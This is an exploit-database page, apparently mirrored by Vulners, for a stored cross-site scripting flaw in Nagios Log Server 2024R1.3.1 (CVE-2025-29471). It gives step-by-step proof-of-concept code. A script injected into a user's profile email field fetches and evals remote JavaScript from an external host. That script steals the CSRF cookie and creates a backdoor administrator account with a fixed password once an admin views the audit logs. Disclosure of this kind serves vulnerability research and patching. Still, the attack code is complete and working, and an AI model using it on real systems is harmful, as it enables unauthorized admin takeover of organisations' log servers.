Lucene search
+L

Nagios Log Server 2024R1.3.1 - Stored XSS

🗓️ 03 Apr 2025 00:00:00Reported by Seth KraftType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 182 Views

Stored XSS in Nagios Log Server 2024R1.3.1 allows admin privilege escalation via JavaScript injection.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Cross-site Scripting in Nagios Log_Server
13 Jun 202501:55
githubexploit
Circl
CVE-2025-29471
15 Apr 202522:43
circl
CNNVD
Nagios Log Server 安全漏洞
15 Apr 202500:00
cnnvd
CVE
CVE-2025-29471
15 Apr 202500:00
cve
Cvelist
CVE-2025-29471
15 Apr 202500:00
cvelist
EUVD
EUVD-2025-11098
3 Oct 202520:07
euvd
NVD
CVE-2025-29471
15 Apr 202522:15
nvd
OSV
CVE-2025-29471
15 Apr 202522:15
osv
Positive Technologies
PT-2025-16532 · Nagios · Nagios Log Server
15 Apr 202500:00
ptsecurity
RedhatCVE
CVE-2025-29471
17 Apr 202503:14
redhatcve
Rows per page
# Exploit Title: Stored XSS Vulnerability in Nagios Log Server (Privilege Escalation to Admin)
# Date: 2025-04-02
# Exploit Author: Seth Kraft
# Vendor Homepage: https://www.nagios.com/
# Vendor Changelog: https://www.nagios.com/changelog/#log-server
# Software Link: https://www.nagios.com/products/log-server/download/
# Version: 2024R1.3.1 and below
# Tested On: Nagios Log Server 2024R1.3.1 (default configuration, Ubuntu 20.04)
# CWE: CWE-79, CWE-352, CWE-285, CWE-269, CWE-602
# CVSS: 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:R/S:C/VC:H/VI:H/VA:H)
# Type: Stored Cross-Site Scripting (XSS), Privilege Escalation
# Exploit Risk: Critical

# Disclosure
For research and authorized testing only. Do not use against systems without permission.

# Description:
A stored XSS vulnerability in Nagios Log Server 2024R1.3.1 allows a low-privileged user to inject
malicious JavaScript into the 'email' field of their profile. When an administrator views the audit logs,
the script executes, resulting in privilege escalation via unauthorized admin account creation.
The vulnerability can be chained to achieve remote code execution (RCE) in certain configurations.

# PoC

1. Log in as a standard (non-admin) user.
2. Navigate to the profile update endpoint:

   http://<target-ip>/nagioslogserver/profile/update

3. Inject the following payload into the email field:

```javascript
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>
```

4. Host the xss.js payload on your external server with the following content:

```javascript
(function() {
  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(console.log)
  .catch(console.error);
})();
```

5. Wait for an administrator to view the audit logs. The JavaScript will execute, creating a new admin account:

Username: backdoor
Password: Password123!

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2025 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.18.3
EPSS0.06674
SSVC
182